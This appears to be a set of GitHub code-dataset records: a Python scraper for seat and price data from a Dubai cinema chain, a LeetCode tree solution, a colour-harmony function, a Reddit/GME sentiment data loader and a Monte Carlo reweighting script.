r'status:empty'\n matches = re.findall(pattern, input_str)\n return len(matches)\n\n\ndef extract_num_sold(input_str):\n pattern = r'status:sold'\n matches = re.findall(pattern, input_str)\n return len(matches)\n\n\ndef extract_experience(input_str):\n return input_str['Experience']\n # exp = input_str['cinemaConfig']\n # experience = exp['ComboSeatSelection']['Experiences'][0]\n # return experience\n\n\nasync def get_seating_info(session: aiohttp.ClientSession):\n url = \"https://reelcinemas.com/WebApi/api/SeatLayourAPI/GetSeatLayout\"\n # cookies = {\n # \"ASP.NET_SessionId\": asp_net_cookie,\n # \"movieSession\": movie_session,\n # }\n response = await get_html(session, url)\n t = json.loads(response)\n experience = extract_experience(t)\n area_entity_list = t[\"Sourcedata\"][\"AreaEntityList\"]\n ticket_list = t.get(\"Sourcedata\").get(\"TicketList\", [])\n seats_list = []\n if area_entity_list:\n for area_entity in area_entity_list:\n area_code = area_entity[\"AreaCode\"]\n area_description = area_entity[\"AreaDescription\"]\n row_entity_list = area_entity[\"rowEntityList\"]\n\n empty_count = sum(1 for row_entity in row_entity_list for seat_entity in row_entity[\"seatEntityList\"] if\n seat_entity[\"Status\"] == \"Empty\")\n sold_count = sum(1 for row_entity in row_entity_list for seat_entity in row_entity[\"seatEntityList\"] if\n seat_entity[\"Status\"] == \"Sold\")\n for ticket in ticket_list:\n if ticket[\"AreaCode\"] == area_code:\n price_in_aed = ticket[\"PriceInAed\"]\n print(f\"AreaCode: {area_code}, AreaDescription: {area_description}\")\n print(f\"Empty Count: {empty_count}, Sold Count: {sold_count}, {price_in_aed}\")\n seats_price = [area_description, empty_count, sold_count, experience, price_in_aed]\n print(seats_price)\n seats_list.append(seats_price)\n return seats_list\n\n\n# async def get_seating_info(session: aiohttp.ClientSession):\n# try:\n# url = \"https://reelcinemas.com/WebApi/api/SeatLayourAPI/GetSeatLayout\"\n# response = await get_html(session, url)\n# t = json.loads(response)\n# experience = extract_experience(t)\n# s = response.replace('\"', '').lower()\n# num_empty = extract_num_empty(s)\n# num_sold = extract_num_sold(s)\n# ticket_list = t.get(\"Sourcedata\").get(\"TicketList\", [])\n# ticket_descriptions = [ticket[\"TicketDescription\"] for ticket in ticket_list]\n# ticket_prices = [ticket[\"PriceInAed\"] for ticket in ticket_list]\n# return num_empty, num_sold, experience, ticket_descriptions, ticket_prices\n# except Exception as e:\n# print(\"Inside get_seating_info exception\")\n# print(e)\n\n\nasync def get_seats(showtimes):\n seats = []\n try:\n magic_string = showtimes[-2]\n connector = aiohttp.TCPConnector(force_close=True, limit=TCPCONNECTOR_LIMIT)\n timeout = aiohttp.ClientTimeout(total=SESSION_TIMEOUT_SEC)\n\n # In order not to work with cookies manually, we start a new session.\n # Session cookies persist throughout the session. Same functionality in the requests.Session class\n async with aiohttp.ClientSession(connector=connector, headers=HEADERS, timeout=timeout) as new_session:\n url = \"https://reelcinemas.com/en-ae/\"\n await get_html(new_session, url)\n\n url = \"https://reelcinemas.com/WebApi/api/UserAPI/CreateMovieCookie\"\n await post_request(new_session, url, json=magic_string)\n seating_info = await get_seating_info(new_session)\n\n try:\n if seating_info:\n for sp in seating_info:\n num_empty = sp[1]\n num_sold = sp[2]\n seats_area = sp[0]\n num_total = num_empty + num_sold\n print(f\"{showtimes[1]}--{showtimes[2]}--{showtimes[3]}--{num_total}\")\n country = showtimes[0]\n movie_name = showtimes[1]\n cinema_title = showtimes[2]\n showtime = showtimes[3]\n scraping_date = showtimes[4]\n processing_date = showtimes[5]\n movie_language = showtimes[7]\n experience = sp[3]\n ticket_prices = sp[4]\n\n print(f\"{showtimes[1]}--{showtimes[2]}--{showtimes[3]}--{num_total}--{experience}--{ticket_prices}\")\n total = [country, movie_name, cinema_title, showtime, seats_area, num_total, num_sold, experience,\n ticket_prices, scraping_date, processing_date, movie_language]\n print(total)\n seats.append(total)\n return seats\n except Exception as e:\n print(\"INSIDE INSIDE INSIDE...\")\n print(e)\n pass\n except ConnectionError:\n print(\"Connection error...\")\n print(\"break...\")\n pass\n\n\nasync def get_showtimes_by_date(session: aiohttp.ClientSession, movie, date: datetime.date, code) -> List:\n showtimes = []\n params = {\n \"movieId\": movie[2],\n \"date\": date.strftime(\"%Y-%m-%d\"),\n \"cinemas\": code\n }\n url = urllib.parse.urljoin(MAIN_PAGE, \"MovieDetails/GetMovieShowTimes\")\n response = await post_request(session, url, params=params)\n # with open('/Users/n.purushottam.lagad/Downloads/reel_show.txt','w') as file:\n # file.write(html)\n response_json = json.loads(response)\n soup = BeautifulSoup(response_json, \"lxml\")\n if \"No Schedules found\" in response:\n return []\n\n a = soup.find_all('a')\n for a_tag in a:\n if a_tag.get(\"onclick\"):\n magic_string = re.search(r'\"([^\"]*)\"', a_tag.get(\"onclick\")).group(1)\n elif a_tag.get(\"href\"):\n magic_string = a_tag.get(\"href\").split(\"','\")[6]\n else:\n raise ValueError(\"Showtime parsing error. Unexpected html\")\n\n showtime = a_tag.find('div', class_='showtime').text\n print('magic_string:', magic_string)\n print('showtime:', showtime)\n print('---')\n # time_obj = datetime.strptime(time_a, \"%I:%M %p\").time()\n # url = urllib.parse.urljoin(MAIN_PAGE, time_a.get(\"href\"))\n # datetime_obj = datetime.combine(date, time_obj)\n movie_name = movie[0]\n movie_language = movie[3]\n if params['cinemas'] == '0001':\n cinema_title = 'The Dubai Mall'\n if params['cinemas'] == '0002':\n cinema_title = 'Dubai Marina Mall'\n if params['cinemas'] == '0006':\n cinema_title = 'The Springs Souk'\n print(f\"{movie_name}--{cinema_title}--{showtime}\")\n country = MAIN_PAGE.split(\"/\")[3]\n current_date = date.today()\n scraping_date = datetime.now().strftime('%Y%m%d %H:%M')\n processing_date = current_date.strftime(\"%Y%m%d\")\n\n total = [country, movie_name, cinema_title, showtime, scraping_date, processing_date,\n magic_string, movie_language]\n print(total)\n showtimes.append(total)\n return showtimes\n\n\nasync def get_movie_showtimes(session: aiohttp.ClientSession, movie, query_date_str: str):\n movie_html = await get_html(session, movie[1])\n # with open('/Users/n.purushottam.lagad/Downloads/reel_movie_show.txt','w') as file:\n # file.write(movie_html)\n soup = BeautifulSoup(movie_html, \"lxml\")\n # language_id = soup.find(\"input\", {\"id\": \"SelectedLanguageId\"}).get(\"value\")\n # movie = movie._replace(language_id=language_id)\n\n available_date_items = soup.findAll(\"div\", class_=\"dboxelement\")\n showtimes = []\n cinema_code = ['0001', '0002', '0006']\n for date_item in available_date_items:\n date_str = date_item.get('id')\n if date_str != query_date_str:\n continue\n date_obj = datetime.strptime(date_str, \"%Y-%m-%d\").date()\n for code in cinema_code:\n showtimes += await get_showtimes_by_date(session, movie, date_obj, code)\n logging.info(f\"Received {len(showtimes)} showtimes for {movie[0]}\")\n return showtimes\n\n\nasync def get_all_showtimes(session: aiohttp.ClientSession,\n movies,\n date_str: str): ## create separate task for each movie to get showtimes\n tasks = []\n for movie in movies:\n task = asyncio.create_task(get_movie_showtimes(session, movie, date_str))\n tasks.append(task)\n showtimes = await asyncio.gather(*tasks)\n results = []\n for showtime in showtimes:\n results += showtime\n logging.info(f\"Summary received {len(results)} showtimes.\")\n return results\n\n\nasync def get_all_seats(movie_showtimes):\n tasks = []\n for show in movie_showtimes:\n task = asyncio.create_task(get_seats(show))\n tasks.append(task)\n showtimes = await asyncio.gather(*tasks)\n results = []\n for showtime in showtimes:\n results += showtime\n logging.info(f\"Summary received {len(results)} showtimes in final layer.\")\n return results\n\n\nasync def main(date_str):\n connector = aiohttp.TCPConnector(force_close=True, limit=TCPCONNECTOR_LIMIT)\n timeout = aiohttp.ClientTimeout(total=SESSION_TIMEOUT_SEC)\n async with aiohttp.ClientSession(connector=connector, headers=HEADERS, timeout=timeout) as session:\n # total_movies = []\n # start_time = time.time()\n # asp_net_cookie = get_asp_net_cookie()\n movies = await get_movies(session)\n movie_showtimes = await get_all_showtimes(session, movies, date_str)\n movie_seats = await get_all_seats(movie_showtimes)\n\n return movie_seats\n # df1 = pd.DataFrame(data=movie_seats,\n # columns=['country', 'movie_name', 'cinema_title', 'show_time', 'seats_area', 'seats_total',\n # 'seats_sold', 'experience', 'ticket_prices', 'scraping_date',\n # 'processing_date', 'movie_language'])\n # df1.to_csv(\"reel_final5.csv\")\n\n\ndef calling_main(date_str):\n showtimes = asyncio.new_event_loop()\n showtimes = showtimes.run_until_complete(main(date_str))\n\n\ndef save_to_django_db(task: ScraperTask):\n logging.info(f\"Start task for {task.cinema_provider.name} {task.id}\")\n search_date_str = task.date_query.strftime(\"%Y-%m-%d\")\n showtimes = asyncio.run(main(search_date_str))\n\n for showtime in showtimes:\n country, created = Country.objects.get_or_create(name=showtime[0])\n cinema, created = Cinema.objects.get_or_create(name=showtime[2], country=country)\n movie, created = DjangoMovie.objects.get_or_create(name=showtime[1], language=showtime[11])\n\n showtime_time_obj = datetime.strptime(showtime[3], '%I:%M %p')\n showtime_datetime_obj = datetime.combine(task.date_query, showtime_time_obj.time())\n ShowtimeSeats.objects.create(\n task=task,\n cinema=cinema,\n movie=movie,\n datetime=showtime_datetime_obj,\n experience=showtime[7],\n all=showtime[5],\n sold=showtime[6],\n price=showtime[8],\n area=showtime[4],\n )\n","repo_name":"LopatKing/cinema-scrapers","sub_path":"django/scrapers/reelcinema.py","file_name":"reelcinema.py","file_ext":"py","file_size_in_byte":16603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7428325483","text":"# LeetCode imports\nfrom LeetCode.GlobalStructures import TreeNode\nfrom typing import Optional\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\nclass Solution:\n def maximumAverageSubtree(self, root: Optional[TreeNode]) -> float:\n '''\n Initial and Optimal\n '''\n max_avg = 0\n \n def AvgUsingDFS(node):\n nonlocal max_avg\n \n if not node:\n return 0, 0\n \n left_count, left_sum = AvgUsingDFS(node.left)\n right_count, right_sum = AvgUsingDFS(node.right)\n curr_count = left_count + 1 + right_count\n curr_sum = left_sum + node.val + right_sum\n \n max_avg = max(max_avg, curr_sum / curr_count)\n return curr_count, curr_sum\n \n AvgUsingDFS(root)\n return max_avg","repo_name":"PyroGenesis/Comprehensive-Coding-Solutions","sub_path":"LeetCode/1120-Maximum-Average-Subtree.py","file_name":"1120-Maximum-Average-Subtree.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29999432047","text":"\ndef colour_harmony(anchor, c):\n colours=[\"red\",\"red-orange\",\"orange\",\"yellow-orange\",\"yellow\",\"yellow-green\"]\n colours+=[\"green\",\"blue-green\",\"blue\",\"blue-violet\",\"violet\",\"red-violet\"]\n \n combs = {}\n combs[\"complementary\"] = [0,6]\n combs[\"analogous\"] = [0,1,-1]\n combs[\"split_complementary\"] = [0,5,-5]\n combs[\"triadic\"] = [0,4,-4]\n combs[\"rectangle\"] = [0,2,6,-4]\n combs[\"square\"] = [0,3,6,-3]\n \n r = colours.index(anchor)\n return {colours[(r+i)%12] for i in combs[c]}\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"md4AF8HwJrhrhA5zm_10.py","file_name":"md4AF8HwJrhrhA5zm_10.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1741105788","text":"## Vocab Primer\nimport os\nimport sys\nimport nltk\nfrom nltk import word_tokenize\nnltk.download('punkt')\nfrom tqdm import tqdm\nimport torch\nimport pandas as pd\nfrom pandas.tseries.offsets import BDay\nfrom datetime import datetime, timedelta, date\n\n\n\nfrom scipy.sparse import csr_matrix\nimport numpy as np\nfrom collections import Counter\nimport matplotlib.pyplot as plt\n\n\nclass Vocab():\n\tdef __init__(self):\n\t\tself.locked = False\n\t\tself.nextID = 0\n\t\tself.word2id = {}\n\t\tself.id2word = {}\n\n\tdef get_id(self, word):\n\t\tif not word in self.word2id:\n\t\t\tif self.locked:\n\t\t\t\treturn -1 \t# UNK token\n\t\t\telse:\n\t\t\t\tself.word2id[word] = self.nextID\n\t\t\t\tself.id2word[self.word2id[word]] = word\n\t\t\t\tself.nextID += 1\n\t\treturn self.word2id[word]\n\n\tdef has_word(self, word):\n\t\treturn self.word2id.has_key(word)\n\n\tdef has_id(self, wid):\n\t\treturn self.word2.has_key(wid)\n\n\tdef get_word(self, wid):\n\t\treturn self.id2word[wid]\n\n\tdef save_vocab(self, vocabFile):\n\t\tfOut = open(vocabFile, 'w')\n\t\tfor word in self.word2id.keys():\n\t\t\tfOut.write(\"%s\\t%s\\n\" % (word, self.word2id[word]))\n\n\tdef get_vocab_size(self):\n\t\t#return self.nextId-1\n\t\treturn self.nextID\n\n\tdef get_words(self):\n\t\treturn self.word2id.keys()\n\n\tdef lock(self):\n\t\tself.locked = True\n\ndef create_vocab(wsb_data):\n vocab = Vocab()\n for item in wsb_data:\n tokenized_item = word_tokenize(item)\n for word in tokenized_item:\n id = vocab.get_id(word.lower())\n vocab.lock()\n return vocab\n\ndef load_csv(csv_file_path, type_=None):\n\tif type_ == \"reddit\" or type_ == None:\n\t\tdata = pd.read_csv(csv_file_path, delimiter=\",\")\n\t\tdata = data[[\"title\", \"score\", \"comms_num\", \"timestamp\"]]\n\n\tif type_ == \"twitter\":\n\t\tdata = pd.read_csv(csv_file_path, delimiter=\",\")\n\n\treturn data\n\n\nclass WSBData():\n\tdef __init__(self, csv_file_path, dataframe=None, vocab=None, train=True):\n\t\t\"\"\" Reads in data into sparse matrix format \"\"\"\n\t\tif not vocab:\n\t\t\tself.vocab = Vocab()\n\t\telse:\n\t\t\tself.vocab = vocab\n\n\t\tif dataframe is not None:\n\t\t\tself.dataframe = dataframe\n\t\telse:\n\t\t\tself.dataframe = pd.read_csv(csv_file_path)\n\n\t\trows = self.dataframe.shape[0]\n\t\tself.lowest_bound = -999999\n\t\tself.get_stats_wsb()\n\n\t\t# if train:\n\t\t# \tdataframe = dataframe.iloc[rows//4:, :]\n\t\t# else:\n\t\t# \tdataframe = dataframe.iloc[:rows//4, :]\n\n\t\t#For csr_matrix (see http://docs.scipy.org/doc/scipy-0.15.1/reference/generated/scipy.sparse.csr_matrix.html#scipy.sparse.csr_matrix)\n\t\tX_values = []\n\t\tX_row_indices = []\n\t\tX_col_indices = []\n\t\tY = []\n\n\t\tXwordList = []\n\t\tXfileList = []\n\n\t\t#Read entries\n\t\tfor i in tqdm(range(len(dataframe))):\n\t\t\trow = dataframe.iloc[i, :]\n\t\t\ttitle = row[0]\n\t\t\twordlist = []\n\t\t\ttokenized_title = word_tokenize(title)\n\t\t\tfor w in tokenized_title:\n\t\t\t\tid = self.vocab.get_id(w.lower())\n\t\t\t\tif id >= 0:\n\t\t\t\t\twordlist.append(id)\n\n\t\t\t# wordList = [self.vocab.get_id(w.lower()) for w in word_tokenize(title) if self.vocab.get_id(w.lower()) >= 0]\n\t\t\tif len(wordlist) == 0:\n\t\t\t\tcontinue\n\t\t\tXwordList.append(wordlist)\n\t\t\tXfileList.append(row[0])\n\t\t\twordCounts = Counter(wordlist)\n\t\t\tfor (wordId, count) in wordCounts.items():\n\t\t\t\tif wordId >= 0:\n\t\t\t\t\tX_row_indices.append(len(row[0])+i)\n\t\t\t\t\tX_col_indices.append(wordId)\n\t\t\t\t\tX_values.append(count)\n\n\t\t\tsentiment_value = self.sentiment_function(row)\n\n\t\t\tif sentiment_value == \"very-bearish\":\n\t\t\t\tY.append(0)\n\t\t\telif sentiment_value == \"bearish\":\n\t\t\t\tY.append(1)\n\t\t\telif sentiment_value == \"neutral\":\n\t\t\t\tY.append(2)\n\t\t\telif sentiment_value == \"bullish\":\n\t\t\t\tY.append(3)\n\t\t\telif sentiment_value == \"very-bullish\":\n\t\t\t\tY.append(4)\n\n\n\t\tself.vocab.lock()\n\n\t\t#Create a sparse matrix in csr format\n\t\t# self.X = csr_matrix((X_values, (X_row_indices, X_col_indices)), shape=(max(X_row_indices)+1, self.vocab.get_vocab_size()))\n\t\tself.Y = np.asarray(Y)\n\t\tprint(self.Y.shape)\n\t\tprint(len(XwordList))\n\t\t#Randomly shuffle\n\t\tindex = np.arange(len(XwordList))\n\t\t# print(self.X.shape)\n\t\t# index = np.arange(self.X.shape[0])\n\t\tnp.random.shuffle(index)\n\t\t# self.X = self.X[index,:]\n\t\tself.XwordList = [torch.LongTensor(XwordList[i]) for i in index] #Two different sparse formats, csr and lists of IDs (XwordList).\n\t\tself.XfileList = [XfileList[i] for i in index]\n\t\tself.Y = self.Y[index]\n\n\n\tdef sentiment_function(self, df_row):\n\t\t# import pdb; pdb.set_trace()\n\t\tscore = df_row[1]\n\t\tcomments = df_row[2]\n\n\n\t\tscore = np.log(score + 0.00001)\n\t\tcomments = np.log(comments + 0.00001)\n\n\t\ttheta1 = 0.50\n\t\ttheta2 = 0.50\n\n\t\tsentiment = theta1*score + theta2*comments\n\t\t# import pdb; pdb.set_trace()\n\t\tbound1, bound2, bound3, bound4, bound5 = tuple(self.func_percentiles)\n\t\t# know i could have just made it return a number, but thought\n\t\t# i'd keep it string match to get a general concept across\n\t\tif sentiment >= bound1 and sentiment < bound2:\n\t\t\treturn 'bearish'\n\t\telif sentiment >= bound2 and sentiment < bound3:\n\t\t\treturn 'neutral'\n\t\telif sentiment >= bound3 and sentiment < bound4:\n\t\t\treturn 'bullish'\n\t\telif sentiment >= bound4 and sentiment < bound5:\n\t\t\treturn 'very-bullish'\n\t\telse:\n\t\t\treturn \"very-bearish\"\n\n\tdef get_stats_wsb(self, plot=False):\n\t\tscore = self.dataframe.iloc[:, 1].to_numpy()\n\t\tcomments = self.dataframe.iloc[:, 2].to_numpy()\n\n\t\tscore = np.log(score + 0.00001)\n\t\tcomments = np.log(comments + 0.00001)\n\n\n\t\ttheta1 = .50\n\t\ttheta2 = .50\n\t\tfunc = theta1 * score + theta2 * comments\n\t\tself.lowest_bound = func.min()\n\t\tprint(self.lowest_bound)\n\n\n\t\t## all pareto distributions which really shouldn't come as too\n\t\t## much of a surprise --\n\t\tif plot:\n\t\t\thist1 = plt.hist(score, bins=100, range=(0, 500))\n\t\t\thist2 = plt.hist(comments, bins=100, range=(0, 500))\n\t\t\tplt.show()\n\n\t\tscore_percentiles = []\n\t\tcomment_percentiles = []\n\t\tfunc_percentiles = []\n\t\tfor perc in range(0, 100, 20):\n\t\t\ts_perc = np.percentile(score, perc)\n\t\t\tc_perc = np.percentile(comments, perc)\n\t\t\tf_perc = np.percentile(func, perc)\n\t\t\tscore_percentiles.append(s_perc)\n\t\t\tcomment_percentiles.append(c_perc)\n\t\t\tfunc_percentiles.append(f_perc)\n\n\t\tself.score_percentiles = score_percentiles\n\t\tself.comment_percentiles = comment_percentiles\n\t\tself.func_percentiles = func_percentiles\n\t\tprint(self.func_percentiles)\n\n\nclass TwitterData():\n\tdef __init__(self, csv_file_path, dataframe=None, vocab=None, train=True):\n\t\t\"\"\" Reads in data into sparse matrix format \"\"\"\n\t\tif not vocab:\n\t\t\tself.vocab = Vocab()\n\t\telse:\n\t\t\tself.vocab = vocab\n\n\t\tif dataframe is not None:\n\t\t\tself.dataframe = dataframe\n\t\telse:\n\t\t\tself.dataframe = pd.read_csv(csv_file_path)\n\n\n\t\trows = self.dataframe.shape[0]\n\n\t\tX_values = []\n\t\tX_row_indices = []\n\t\tX_col_indices = []\n\t\tY = []\n\n\t\tXwordList = []\n\t\tXfileList = []\n\n\t\t#Read entries\n\t\tfor i in tqdm(range(len(self.dataframe))):\n\t\t\trow = self.dataframe.iloc[i, :]\n\t\t\ttitle = row[0]\n\t\t\twordlist = []\n\t\t\ttokenized_title = word_tokenize(title)\n\t\t\tfor w in tokenized_title:\n\t\t\t\tid = self.vocab.get_id(w.lower())\n\t\t\t\tif id >= 0:\n\t\t\t\t\twordlist.append(id)\n\n\t\t\tif len(wordlist) == 0:\n\t\t\t\tcontinue\n\t\t\tXwordList.append(wordlist)\n\t\t\tXfileList.append(row[0])\n\t\t\twordCounts = Counter(wordlist)\n\t\t\tfor (wordId, count) in wordCounts.items():\n\t\t\t\tif wordId >= 0:\n\t\t\t\t\tX_row_indices.append(len(row[0])+i)\n\t\t\t\t\tX_col_indices.append(wordId)\n\t\t\t\t\tX_values.append(count)\n\n\t\t\tY.append(row[1])\n\n\n\t\tself.vocab.lock()\n\n\t\t#Create a sparse matrix in csr format\n\t\t# self.X = csr_matrix((X_values, (X_row_indices, X_col_indices)), shape=(max(X_row_indices)+1, self.vocab.get_vocab_size()))\n\t\tself.Y = np.asarray(Y)\n\t\tprint(self.Y.shape)\n\t\tprint(len(XwordList))\n\t\t#Randomly shuffle\n\t\tindex = np.arange(len(XwordList))\n\t\t# print(self.X.shape)\n\t\t# index = np.arange(self.X.shape[0])\n\t\tnp.random.shuffle(index)\n\t\t# self.X = self.X[index,:]\n\t\tself.XwordList = [torch.LongTensor(XwordList[i]) for i in index] #Two different sparse formats, csr and lists of IDs (XwordList).\n\t\tself.XfileList = [XfileList[i] for i in index]\n\t\tself.Y = self.Y[index]\n\n\nclass WSBDataLarge():\n\tdef __init__(self, csv_file_path, dataframe=None, vocab=None, train=True):\n\t\t\"\"\" Reads in data into sparse matrix format \"\"\"\n\t\tif not vocab:\n\t\t\tself.vocab = Vocab()\n\t\telse:\n\t\t\tself.vocab = vocab\n\n\t\tif dataframe is not None:\n\t\t\tself.dataframe = dataframe\n\t\telse:\n\t\t\tself.dataframe = pd.read_csv(csv_file_path)\n\n\t\trows = self.dataframe.shape[0]\n\n\t\tstock_df = pd.read_csv(\"../data/GME.csv\")\n\t\tself.stock_price(stock_df)\n\n\n\t\tself.dataframe[\"timestamp\"] = pd.to_datetime(self.dataframe[\"timestamp\"], format='%Y-%m-%d %H:%M:%S')\n\n\t\tisBusinessday = BDay().onOffset\n\t\tmatch_series = self.dataframe[\"timestamp\"].map(isBusinessday)\n\t\tself.dataframe = self.dataframe[match_series].copy()\n\n\t\tX_values = []\n\t\tX_row_indices = []\n\t\tX_col_indices = []\n\t\tY = []\n\n\t\tXwordList = []\n\t\tXfileList = []\n\n\t\t#Read entries\n\t\tfor i in tqdm(range(len(self.dataframe))):\n\t\t\trow = self.dataframe.iloc[i, :]\n\t\t\ttitle = row[0]\n\t\t\twordlist = []\n\t\t\ttokenized_title = word_tokenize(title)\n\t\t\tfor w in tokenized_title:\n\t\t\t\tid = self.vocab.get_id(w.lower())\n\t\t\t\tif id >= 0:\n\t\t\t\t\twordlist.append(id)\n\n\t\t\t# wordList = [self.vocab.get_id(w.lower()) for w in word_tokenize(title) if self.vocab.get_id(w.lower()) >= 0]\n\t\t\tif len(wordlist) == 0:\n\t\t\t\tcontinue\n\t\t\tXwordList.append(wordlist)\n\t\t\tXfileList.append(row[0])\n\t\t\twordCounts = Counter(wordlist)\n\t\t\tfor (wordId, count) in wordCounts.items():\n\t\t\t\tif wordId >= 0:\n\t\t\t\t\tX_row_indices.append(len(row[0])+i)\n\t\t\t\t\tX_col_indices.append(wordId)\n\t\t\t\t\tX_values.append(count)\n\n\t\t\t### Add Y logic\n\n\t\t\treddit_date = row[-1] + timedelta(days=1)\n\t\t\t#reddit_date_mon = row[-1] + timedelta(days=2)\n\t\t\tstr_time = reddit_date.strftime('%m') + '-' + reddit_date.strftime('%d')\n\t\t\t#str_time_mon = reddit_date_mon.strftime('%m') + '-' + reddit_date_mon.strftime('%d')\n\n\n\t\t\t# need to figure out the fix for Friday to Saturday\n\t\t\ttry:\n\t\t\t\tlabel = self.gme_stock_dict[str_time]\n\t\t\t\tY.append(label)\n\t\t\texcept:\n\t\t\t\t#Y.append(self.gme_stock_dict[str_time_mon])\n\t\t\t\tY.append(0)\n\n\n\t\tself.vocab.lock()\n\n\t\t#Create a sparse matrix in csr format\n\t\t# self.X = csr_matrix((X_values, (X_row_indices, X_col_indices)), shape=(max(X_row_indices)+1, self.vocab.get_vocab_size()))\n\n\t\tself.Y = np.asarray(Y)\n\t\tprint(self.Y.shape)\n\t\tprint(len(XwordList))\n\t\t#Randomly shuffle\n\t\tindex = np.arange(len(XwordList))\n\t\t# print(self.X.shape)\n\t\t# index = np.arange(self.X.shape[0])\n\t\tnp.random.shuffle(index)\n\t\t# self.X = self.X[index,:]\n\t\tself.XwordList = [torch.LongTensor(XwordList[i]) for i in index] #Two different sparse formats, csr and lists of IDs (XwordList).\n\t\tself.XfileList = [XfileList[i] for i in index]\n\t\tself.Y = self.Y[index]\n\n\n\tdef stock_price(self, dataframe):\n\t\tdataframe[\"Date\"] = pd.to_datetime(dataframe[\"Date\"], format='%Y-%m-%d %H:%M:%S')\n\t\t# start_date = min(self.dataframe['timestamp']) not working for some reason\n\t\tstart_date = \"2021-01-28 00:00:00\"\n\t\tdf = dataframe[[\"Date\", \"Open\", \"Close\", \"High\"]]\n\t\tdf = df[df[\"Date\"] >= start_date]\n\t\tdf[\"Date_str\"] = df[\"Date\"].dt.strftime('%m') + '-' + df[\"Date\"].dt.strftime('%d')\n\n\t\tdf['Up_Down'] = np.where((df[\"High\"] - df[\"Open\"]) > 0, 1, 0)\n\n\t\tprint(df.head)\n\t\tself.gme_stock_dict = pd.Series(df['Up_Down'].values, index=df.Date_str)\n\n\n\nif __name__ == '__main__':\n\twsb_file_path = \"../data/reddit_wsb.csv\"\n\twsb_data = load_csv(wsb_file_path)\n\tvocab = create_vocab(wsb_data['title'].values)\n\n\tsplit_point = int(len(wsb_data)*0.9)\n\ttrain_df = wsb_data[0:split_point]\n\tdev_df = wsb_data[split_point:]\n\tprint(train_df)\n\n\tprint(\"load train data\")\n\ttrain_data = WSBDataLarge(wsb_file_path, dataframe=train_df, vocab=vocab, train=True)\n\tdev_data = WSBDataLarge(wsb_file_path, dataframe=dev_df, vocab=vocab, train=False)\n\tdev_labels = dev_data.Y\n\tdev_unique, dev_counts = np.unique(dev_labels, return_counts=True)\n\n\tlabels = train_data.Y\n\tunique_labels, counts = np.unique(labels, return_counts=True)\n\tprint(unique_labels)\n\tprint(counts)\n\tplt.figure()\n\tplt.bar(unique_labels, counts)\n\t# plt.hist(labels, bins=5)\n\tplt.title(\"WSB Training Data Derived Class Distribution\")\n\tplt.xlabel(\"Classes\")\n\tplt.ylabel(\"Frequency\")\n\tplt.show()\n\n\tplt.figure(1)\n\tplt.bar(dev_unique, dev_counts)\n\t# plt.hist(labels, bins=5)\n\tplt.title(\"WSB Eval Data Derived Class Distribution\")\n\tplt.xlabel(\"Classes\")\n\tplt.ylabel(\"Frequency\")\n\tplt.show()\n\t# test = WSBDataLarge(\"../data/reddit_data.csv\")\n","repo_name":"ctyler9/natural-language-spring-2021","sub_path":"model/vocab.py","file_name":"vocab.py","file_ext":"py","file_size_in_byte":12117,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"17161748857","text":"#!/usr/bin/env python\nimport os\nimport argparse\nimport json\nimport time\n\nimport numpy as np\n\nfrom libspi.Genome import *\nfrom libspi.MonteCarloSampler import *\nimport libspi.IO as IO\nimport libspi.CommandLineUtils as cli\n\n##############################################################\n# CMD line options parser\n##############################################################\n\n\ndef parse_command_line_options():\n parser = argparse.ArgumentParser(\n description='Monte Carlo reweighting for Cre-Lox Recombination studies.')\n parser.add_argument('--input-file', '-i', type=str,\n help=\"Chromosome file structure. Chromosome is assumed to be circular.\")\n parser.add_argument('--output-file', '-o', type=str,\n required=True, help=\"Output file\")\n parser.add_argument('--trajectory-file', '-t', type=str,\n required=True, help=\"Trajectory file\")\n # parser.add_argument('--config', '-c', type=str, required=True, help=\"Simulation configuration file\")\n parser.add_argument('--lb', type=float, required=True,\n help=\"Lambda parameter\")\n parser.add_argument('--nu', type=float, required=True, help=\"Nu parameter\")\n parser.add_argument('--b', type=float, required=True, help=\"B parameter\")\n parser.add_argument('--rl', type=float, required=True,\n help=\"Reweighting radius for lambda parameter\")\n parser.add_argument('--rnu', type=float, required=True,\n help=\"Reweighting radius for nu parameter\")\n parser.add_argument('--rb', type=float, required=True,\n help=\"Reweighting radius for b parameter\")\n options = parser.parse_args()\n return options\n\n\n##############################################################\n# MAIN method\n##############################################################\nif __name__ == \"__main__\":\n #\n options = parse_command_line_options()\n # config = cli.load_configuration_file(options.config)\n\n # building the parameters grid\n # param_grid = cli.build_parameters_grid(config)\n param_grid = [(options.lb, options.nu, options.b)]\n\n print(\"Using %d parameters settings.\" % len(param_grid))\n\n # creating and loading genome structure file\n genome = Genome()\n genome.load_genome_from_file(options.input_file)\n\n # loading trajectory pool\n trajectory_pool = IO.load_trajectories_from_file(options.trajectory_file)\n filtered_pool = dict()\n\n for curr_param, curr_traj in trajectory_pool.items():\n c_l, c_nu, c_b = curr_param\n if (np.abs(c_l - options.lb) <= options.rl) and \\\n (np.abs(c_nu - options.nu) <= options.rnu) and \\\n (np.abs(c_b - options.b) <= options.rb):\n filtered_pool[curr_param] = curr_traj\n\n print(\"Reweighting using %d simulations.\" % len(filtered_pool.keys()))\n # creating the MC sampler\n mc = ReweightGridMonteCarloSampler(genome)\n\n # running and timing the sampler\n # t_start = time.time()\n trajectory_profile = mc.run(filtered_pool, param_grid)\n # t_elapsed = time.time() - t_start\n\n # saving objects to file\n IO.save_profiles_to_file(\n options.output_file, trajectory_profile, vars(options))\n","repo_name":"stracquadaniolab/spi-nf","sub_path":"bin/spi-reweight.py","file_name":"spi-reweight.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"75069214170","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 08 10:15:52 2016\n\n@author: yimeng\n\"\"\"\n\nimport math, os, cv2, shutil\nimport numpy as 